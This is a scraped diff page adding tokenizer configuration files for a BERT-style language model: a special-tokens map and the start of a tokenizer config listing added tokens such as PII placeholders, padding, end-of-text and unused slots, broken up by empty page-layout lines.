| 1 |
+
{
|
| 2 |
+
"cls_token": {
|
| 3 |
+
"content": "[CLS]",
|
| 4 |
+
"lstrip": false,
|
| 5 |
+
"normalized": false,
|
| 6 |
+
"rstrip": false,
|
| 7 |
+
"single_word": false
|
| 8 |
+
},
|
| 9 |
+
"mask_token": {
|
| 10 |
+
"content": "[MASK]",
|
| 11 |
+
"lstrip": true,
|
| 12 |
+
"normalized": false,
|
| 13 |
+
"rstrip": false,
|
| 14 |
+
"single_word": false
|
| 15 |
+
},
|
| 16 |
+
"pad_token": {
|
| 17 |
+
"content": "[PAD]",
|
| 18 |
+
"lstrip": false,
|
| 19 |
+
"normalized": false,
|
| 20 |
+
"rstrip": false,
|
| 21 |
+
"single_word": false
|
| 22 |
+
},
|
| 23 |
+
"sep_token": {
|
| 24 |
+
"content": "[SEP]",
|
| 25 |
+
"lstrip": false,
|
| 26 |
+
"normalized": false,
|
| 27 |
+
"rstrip": false,
|
| 28 |
+
"single_word": false
|
| 29 |
+
},
|
| 30 |
+
"unk_token": {
|
| 31 |
+
"content": "[UNK]",
|
| 32 |
+
"lstrip": false,
|
| 33 |
+
"normalized": false,
|
| 34 |
+
"rstrip": false,
|
| 35 |
+
"single_word": false
|
| 36 |
+
}
|
| 37 |
+
}
|
tokenizer.json
ADDED
|
The diff for this file is too large to render.
See raw diff
|
|
|
tokenizer_config.json
ADDED
|
@@ -0,0 +1,945 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
{
|
| 2 |
+
"added_tokens_decoder": {
|
| 3 |
+
"0": {
|
| 4 |
+
"content": "|||IP_ADDRESS|||",
|
| 5 |
+
"lstrip": false,
|
| 6 |
+
"normalized": true,
|
| 7 |
+
"rstrip": false,
|
| 8 |
+
"single_word": false,
|
| 9 |
+
"special": false
|
| 10 |
+
},
|
| 11 |
+
"1": {
|
| 12 |
+
"content": "<|padding|>",
|
| 13 |
+
"lstrip": false,
|
| 14 |
+
"normalized": false,
|
| 15 |
+
"rstrip": false,
|
| 16 |
+
"single_word": false,
|
| 17 |
+
"special": true
|
| 18 |
+
},
|
| 19 |
+
"50254": {
|
| 20 |
+
"content": " ",
|
| 21 |
+
"lstrip": false,
|
| 22 |
+
"normalized": true,
|
| 23 |
+
"rstrip": false,
|
| 24 |
+
"single_word": false,
|
| 25 |
+
"special": false
|
| 26 |
+
},
|
| 27 |
+
"50255": {
|
| 28 |
+
"content": " ",
|
| 29 |
+
"lstrip": false,
|
| 30 |
+
"normalized": true,
|
| 31 |
+
"rstrip": false,
|
| 32 |
+
"single_word": false,
|
| 33 |
+
"special": false
|
| 34 |
+
},
|
| 35 |
+
"50256": {
|
| 36 |
+
"content": " ",
|
| 37 |
+
"lstrip": false,
|
| 38 |
+
"normalized": true,
|
| 39 |
+
"rstrip": false,
|
| 40 |
+
"single_word": false,
|
| 41 |
+
"special": false
|
| 42 |
+
},
|
| 43 |
+
"50257": {
|
| 44 |
+
"content": " ",
|
| 45 |
+
"lstrip": false,
|
| 46 |
+
"normalized": true,
|
| 47 |
+
"rstrip": false,
|
| 48 |
+
"single_word": false,
|
| 49 |
+
"special": false
|
| 50 |
+
},
|
| 51 |
+
"50258": {
|
| 52 |
+
"content": " ",
|
| 53 |
+
"lstrip": false,
|
| 54 |
+
"normalized": true,
|
| 55 |
+
"rstrip": false,
|
| 56 |
+
"single_word": false,
|
| 57 |
+
"special": false
|
| 58 |
+
},
|
| 59 |
+
"50259": {
|
| 60 |
+
"content": " ",
|
| 61 |
+
"lstrip": false,
|
| 62 |
+
"normalized": true,
|
| 63 |
+
"rstrip": false,
|
| 64 |
+
"single_word": false,
|
| 65 |
+
"special": false
|
| 66 |
+
},
|
| 67 |
+
"50260": {
|
| 68 |
+
"content": " ",
|
| 69 |
+
"lstrip": false,
|
| 70 |
+
"normalized": true,
|
| 71 |
+
"rstrip": false,
|
| 72 |
+
"single_word": false,
|
| 73 |
+
"special": false
|
| 74 |
+
},
|
| 75 |
+
"50261": {
|
| 76 |
+
"content": " ",
|
| 77 |
+
"lstrip": false,
|
| 78 |
+
"normalized": true,
|
| 79 |
+
"rstrip": false,
|
| 80 |
+
"single_word": false,
|
| 81 |
+
"special": false
|
| 82 |
+
},
|
| 83 |
+
"50262": {
|
| 84 |
+
"content": " ",
|
| 85 |
+
"lstrip": false,
|
| 86 |
+
"normalized": true,
|
| 87 |
+
"rstrip": false,
|
| 88 |
+
"single_word": false,
|
| 89 |
+
"special": false
|
| 90 |
+
},
|
| 91 |
+
"50263": {
|
| 92 |
+
"content": " ",
|
| 93 |
+
"lstrip": false,
|
| 94 |
+
"normalized": true,
|
| 95 |
+
"rstrip": false,
|
| 96 |
+
"single_word": false,
|
| 97 |
+
"special": false
|
| 98 |
+
},
|
| 99 |
+
"50264": {
|
| 100 |
+
"content": " ",
|
| 101 |
+
"lstrip": false,
|
| 102 |
+
"normalized": true,
|
| 103 |
+
"rstrip": false,
|
| 104 |
+
"single_word": false,
|
| 105 |
+
"special": false
|
| 106 |
+
},
|
| 107 |
+
"50265": {
|
| 108 |
+
"content": " ",
|
| 109 |
+
"lstrip": false,
|
| 110 |
+
"normalized": true,
|
| 111 |
+
"rstrip": false,
|
| 112 |
+
"single_word": false,
|
| 113 |
+
"special": false
|
| 114 |
+
},
|
| 115 |
+
"50266": {
|
| 116 |
+
"content": " ",
|
| 117 |
+
"lstrip": false,
|
| 118 |
+
"normalized": true,
|
| 119 |
+
"rstrip": false,
|
| 120 |
+
"single_word": false,
|
| 121 |
+
"special": false
|
| 122 |
+
},
|
| 123 |
+
"50267": {
|
| 124 |
+
"content": " ",
|
| 125 |
+
"lstrip": false,
|
| 126 |
+
"normalized": true,
|
| 127 |
+
"rstrip": false,
|
| 128 |
+
"single_word": false,
|
| 129 |
+
"special": false
|
| 130 |
+
},
|
| 131 |
+
"50268": {
|
| 132 |
+
"content": " ",
|
| 133 |
+
"lstrip": false,
|
| 134 |
+
"normalized": true,
|
| 135 |
+
"rstrip": false,
|
| 136 |
+
"single_word": false,
|
| 137 |
+
"special": false
|
| 138 |
+
},
|
| 139 |
+
"50269": {
|
| 140 |
+
"content": " ",
|
| 141 |
+
"lstrip": false,
|
| 142 |
+
"normalized": true,
|
| 143 |
+
"rstrip": false,
|
| 144 |
+
"single_word": false,
|
| 145 |
+
"special": false
|
| 146 |
+
},
|
| 147 |
+
"50270": {
|
| 148 |
+
"content": " ",
|
| 149 |
+
"lstrip": false,
|
| 150 |
+
"normalized": true,
|
| 151 |
+
"rstrip": false,
|
| 152 |
+
"single_word": false,
|
| 153 |
+
"special": false
|
| 154 |
+
},
|
| 155 |
+
"50271": {
|
| 156 |
+
"content": " ",
|
| 157 |
+
"lstrip": false,
|
| 158 |
+
"normalized": true,
|
| 159 |
+
"rstrip": false,
|
| 160 |
+
"single_word": false,
|
| 161 |
+
"special": false
|
| 162 |
+
},
|
| 163 |
+
"50272": {
|
| 164 |
+
"content": " ",
|
| 165 |
+
"lstrip": false,
|
| 166 |
+
"normalized": true,
|
| 167 |
+
"rstrip": false,
|
| 168 |
+
"single_word": false,
|
| 169 |
+
"special": false
|
| 170 |
+
},
|
| 171 |
+
"50273": {
|
| 172 |
+
"content": " ",
|
| 173 |
+
"lstrip": false,
|
| 174 |
+
"normalized": true,
|
| 175 |
+
"rstrip": false,
|
| 176 |
+
"single_word": false,
|
| 177 |
+
"special": false
|
| 178 |
+
},
|
| 179 |
+
"50274": {
|
| 180 |
+
"content": " ",
|
| 181 |
+
"lstrip": false,
|
| 182 |
+
"normalized": true,
|
| 183 |
+
"rstrip": false,
|
| 184 |
+
"single_word": false,
|
| 185 |
+
"special": false
|
| 186 |
+
},
|
| 187 |
+
"50275": {
|
| 188 |
+
"content": " ",
|
| 189 |
+
"lstrip": false,
|
| 190 |
+
"normalized": true,
|
| 191 |
+
"rstrip": false,
|
| 192 |
+
"single_word": false,
|
| 193 |
+
"special": false
|
| 194 |
+
},
|
| 195 |
+
"50276": {
|
| 196 |
+
"content": " ",
|
| 197 |
+
"lstrip": false,
|
| 198 |
+
"normalized": true,
|
| 199 |
+
"rstrip": false,
|
| 200 |
+
"single_word": false,
|
| 201 |
+
"special": false
|
| 202 |
+
},
|
| 203 |
+
"50277": {
|
| 204 |
+
"content": "|||EMAIL_ADDRESS|||",
|
| 205 |
+
"lstrip": false,
|
| 206 |
+
"normalized": true,
|
| 207 |
+
"rstrip": false,
|
| 208 |
+
"single_word": false,
|
| 209 |
+
"special": false
|
| 210 |
+
},
|
| 211 |
+
"50278": {
|
| 212 |
+
"content": "|||PHONE_NUMBER|||",
|
| 213 |
+
"lstrip": false,
|
| 214 |
+
"normalized": true,
|
| 215 |
+
"rstrip": false,
|
| 216 |
+
"single_word": false,
|
| 217 |
+
"special": false
|
| 218 |
+
},
|
| 219 |
+
"50279": {
|
| 220 |
+
"content": "<|endoftext|>",
|
| 221 |
+
"lstrip": false,
|
| 222 |
+
"normalized": false,
|
| 223 |
+
"rstrip": false,
|
| 224 |
+
"single_word": false,
|
| 225 |
+
"special": true
|
| 226 |
+
},
|
| 227 |
+
"50280": {
|
| 228 |
+
"content": "[UNK]",
|
| 229 |
+
"lstrip": false,
|
| 230 |
+
"normalized": false,
|
| 231 |
+
"rstrip": false,
|
| 232 |
+
"single_word": false,
|
| 233 |
+
"special": true
|
| 234 |
+
},
|
| 235 |
+
"50281": {
|
| 236 |
+
"content": "[CLS]",
|
| 237 |
+
"lstrip": false,
|
| 238 |
+
"normalized": false,
|
| 239 |
+
"rstrip": false,
|
| 240 |
+
"single_word": false,
|
| 241 |
+
"special": true
|
| 242 |
+
},
|
| 243 |
+
"50282": {
|
| 244 |
+
"content": "[SEP]",
|
| 245 |
+
"lstrip": false,
|
| 246 |
+
"normalized": false,
|
| 247 |
+
"rstrip": false,
|
| 248 |
+
"single_word": false,
|
| 249 |
+
"special": true
|
| 250 |
+
},
|
| 251 |
+
"50283": {
|
| 252 |
+
"content": "[PAD]",
|
| 253 |
+
"lstrip": false,
|
| 254 |
+
"normalized": false,
|
| 255 |
+
"rstrip": false,
|
| 256 |
+
"single_word": false,
|
| 257 |
+
"special": true
|
| 258 |
+
},
|
| 259 |
+
"50284": {
|
| 260 |
+
"content": "[MASK]",
|
| 261 |
+
"lstrip": true,
|
| 262 |
+
"normalized": false,
|
| 263 |
+
"rstrip": false,
|
| 264 |
+
"single_word": false,
|
| 265 |
+
"special": true
|
| 266 |
+
},
|
| 267 |
+
"50285": {
|
| 268 |
+
"content": "[unused0]",
|
| 269 |
+
"lstrip": false,
|
| 270 |
+
"normalized": true,
|
| 271 |
+
"rstrip": false,
|
| 272 |
+
"single_word": false,
|
| 273 |
+
"special": false
|
| 274 |
+
},
|
| 275 |
+
"50286": {
|
| 276 |
+
"content": "[unused1]",
|
| 277 |
+
"lstrip": false,
|
| 278 |
+
"normalized": true,
|
| 279 |
+
"rstrip": false,
|
| 280 |
+
"single_word": false,
|
| 281 |
+
"special": false
|
| 282 |
+
},
|
| 283 |
+
"50287": {
|
| 284 |
+
"content": "[unused2]",
|
| 285 |
+
"lstrip": false,
|
| 286 |
+
"normalized": true,
|
| 287 |
+
"rstrip": false,
|
| 288 |
+
"single_word": false,
|
| 289 |
+
"special": false
|
| 290 |
+
},
|
| 291 |
+
"50288": {
|
| 292 |
+
"content": "[unused3]",
|
| 293 |
+
"lstrip": false,
|
| 294 |
+
"normalized": true,
|
| 295 |
+
"rstrip": false,
|
| 296 |
+
"single_word": false,
|
| 297 |
+
"special": false
|
| 298 |
+
},
|
| 299 |
+
"50289": {
|
| 300 |
+
"content": "[unused4]",
|
| 301 |
+
"lstrip": false,
|
| 302 |
+
"normalized": true,
|
| 303 |
+
"rstrip": false,
|
| 304 |
+
"single_word": false,
|
| 305 |
+
"special": false
|
| 306 |
+
},
|
| 307 |
+
"50290": {
|
| 308 |
+
"content": "[unused5]",
|
| 309 |
+
"lstrip": false,
|
| 310 |
+
"normalized": true,
|
| 311 |
+
"rstrip": false,
|
| 312 |
+
"single_word": false,
|
| 313 |
+
"special": false
|
| 314 |
+
},
|
| 315 |
+
"50291": {
|
| 316 |
+
"content": "[unused6]",
|
| 317 |
+
"lstrip": false,
|
| 318 |
+
"normalized": true,
|
| 319 |
+
"rstrip": false,
|
| 320 |
+
"single_word": false,
|
| 321 |
+
"special": false
|
| 322 |
+
},
|
| 323 |
+
"50292": {
|
| 324 |
+
"content": "[unused7]",
|
| 325 |
+
"lstrip": false,
|
| 326 |
+
"normalized": true,
|
| 327 |
+
"rstrip": false,
|
| 328 |
+
"single_word": false,
|
| 329 |
+
"special": false
|
| 330 |
+
},
|
| 331 |
+
"50293": {
|
| 332 |
+
"content": "[unused8]",
|
| 333 |
+
"lstrip": false,
|
| 334 |
+
"normalized": true,
|
| 335 |
+
"rstrip": false,
|
| 336 |
+
"single_word": false,
|
| 337 |
+
"special": false
|
| 338 |
+
},
|
| 339 |
+
"50294": {
|
| 340 |
+
"content": "[unused9]",
|
| 341 |
+
"lstrip": false,
|
| 342 |
+
"normalized": true,
|
| 343 |
+
"rstrip": false,
|
| 344 |
+
"single_word": false,
|
| 345 |
+
"special": false
|
| 346 |
+
},
|
| 347 |
+
"50295": {
|
| 348 |
+
"content": "[unused10]",
|
| 349 |
+
"lstrip": false,
|
| 350 |
+
"normalized": true,
|
| 351 |
+
"rstrip": false,
|
| 352 |
+
"single_word": false,
|
| 353 |
+
"special": false
|
| 354 |
+
},
|
| 355 |
+
"50296": {
|
| 356 |
+
"content": "[unused11]",
|
| 357 |
+
"lstrip": false,
|
| 358 |
+
"normalized": true,
|
| 359 |
+
"rstrip": false,
|
| 360 |
+
"single_word": false,
|
| 361 |
+
"special": false
|
| 362 |
+
},
|
| 363 |
+
"50297": {
|
| 364 |
+
"content": "[unused12]",
|
| 365 |
+
"lstrip": false,
|
| 366 |
+
"normalized": true,
|
| 367 |
+
"rstrip": false,
|
| 368 |
+
"single_word": false,
|
| 369 |
+
"special": false
|
| 370 |
+
},
|
| 371 |
+
"50298": {
|
| 372 |
+
"content": "[unused13]",
|
| 373 |
+
"lstrip": false,
|
| 374 |
+
"normalized": true,
|
| 375 |
+
"rstrip": false,
|
| 376 |
+
"single_word": false,
|
| 377 |
+
"special": false
|
| 378 |
+
},
|
| 379 |
+
"50299": {
|
| 380 |
+
"content": "[unused14]",
|
| 381 |
+
"lstrip": false,
|
| 382 |
+
"normalized": true,
|
| 383 |
+
"rstrip": false,
|
| 384 |
+
"single_word": false,
|
| 385 |
+
"special": false
|
| 386 |
+
},
|
| 387 |
+
"50300": {
|
| 388 |
+
"content": "[unused15]",
|
| 389 |
+
"lstrip": false,
|
| 390 |
+
"normalized": true,
|
| 391 |
+
"rstrip": false,
|
| 392 |
+
"single_word": false,
|
| 393 |
+
"special": false
|
| 394 |
+
},
|
| 395 |
+
"50301": {
|
| 396 |
+
"content": "[unused16]",
|
| 397 |
+
"lstrip": false,
|
| 398 |
+
"normalized": true,
|
| 399 |
+
"rstrip": false,
|
| 400 |
+
"single_word": false,
|
| 401 |
+
"special": false
|
| 402 |
+
},
|
| 403 |
+
"50302": {
|
| 404 |
+
"content": "[unused17]",
|
| 405 |
+
"lstrip": false,
|
| 406 |
+
"normalized": true,
|
| 407 |
+
"rstrip": false,
|
| 408 |
+
"single_word": false,
|
| 409 |
+
"special": false
|
| 410 |
+
},
|
| 411 |
+
"50303": {
|
| 412 |
+
"content": "[unused18]",
|
| 413 |
+
"lstrip": false,
|
| 414 |
+
"normalized": true,
|
| 415 |
+
"rstrip": false,
|
| 416 |
+
"single_word": false,
|
| 417 |
+
"special": false
|
| 418 |
+
},
|
| 419 |
+
"50304": {
|
| 420 |
+
"content": "[unused19]",
|
| 421 |
+
"lstrip": false,
|
| 422 |
+
"normalized": true,
|
| 423 |
+
"rstrip": false,
|
| 424 |
+
"single_word": false,
|
| 425 |
+
"special": false
|
| 426 |
+
},
|
| 427 |
+
"50305": {
|
| 428 |
+
"content": "[unused20]",
|
| 429 |
+
"lstrip": false,
|
| 430 |
+
"normalized": true,
|
| 431 |
+
"rstrip": false,
|
| 432 |
+
"single_word": false,
|
| 433 |
+
"special": false
|
| 434 |
+
},
|
| 435 |
+
"50306": {
|
| 436 |
+
"content": "[unused21]",
|
| 437 |
+
"lstrip": false,
|
| 438 |
+
"normalized": true,
|
| 439 |
+
"rstrip": false,
|
| 440 |
+
"single_word": false,
|
| 441 |
+
"special": false
|
| 442 |
+
},
|
| 443 |
+
"50307": {
|
| 444 |
+
"content": "[unused22]",
|
| 445 |
+
"lstrip": false,
|
| 446 |
+
"normalized": true,
|
| 447 |
+
"rstrip": false,
|
| 448 |
+
"single_word": false,
|
| 449 |
+
"special": false
|
| 450 |
+
},
|
| 451 |
+
"50308": {
|
| 452 |
+
"content": "[unused23]",
|
| 453 |
+
"lstrip": false,
|
| 454 |
+
"normalized": true,
|
| 455 |
+
"rstrip": false,
|
| 456 |
+
"single_word": false,
|
| 457 |
+
"special": false
|
| 458 |
+
},
|
| 459 |
+
"50309": {
|
| 460 |
+
"content": "[unused24]",
|
| 461 |
+
"lstrip": false,
|
| 462 |
+
"normalized": true,
|
| 463 |
+
"rstrip": false,
|
| 464 |
+
"single_word": false,
|
| 465 |
+
"special": false
|
| 466 |
+
},
|
| 467 |
+
"50310": {
|
| 468 |
+
"content": "[unused25]",
|
| 469 |
+
"lstrip": false,
|
| 470 |
+
"normalized": true,
|
| 471 |
+
"rstrip": false,
|
| 472 |
+
"single_word": false,
|
| 473 |
+
"special": false
|
| 474 |
+
},
|
| 475 |
+
"50311": {
|
| 476 |
+
"content": "[unused26]",
|
| 477 |
+
"lstrip": false,
|
| 478 |
+
"normalized": true,
|
| 479 |
+
"rstrip": false,
|
| 480 |
+
"single_word": false,
|
| 481 |
+
"special": false
|
| 482 |
+
},
|
| 483 |
+
"50312": {
|
| 484 |
+
"content": "[unused27]",
|
| 485 |
+
"lstrip": false,
|
| 486 |
+
"normalized": true,
|
| 487 |
+
"rstrip": false,
|
| 488 |
+
"single_word": false,
|
| 489 |
+
"special": false
|
| 490 |
+
},
|
| 491 |
+
"50313": {
|
| 492 |
+
"content": "[unused28]",
|
| 493 |
+
"lstrip": false,
|
| 494 |
+
"normalized": true,
|
| 495 |
+
"rstrip": false,
|
| 496 |
+
"single_word": false,
|
| 497 |
+
"special": false
|
| 498 |
+
},
|
| 499 |
+
"50314": {
|
| 500 |
+
"content": "[unused29]",
|
| 501 |
+
"lstrip": false,
|
| 502 |
+
"normalized": true,
|
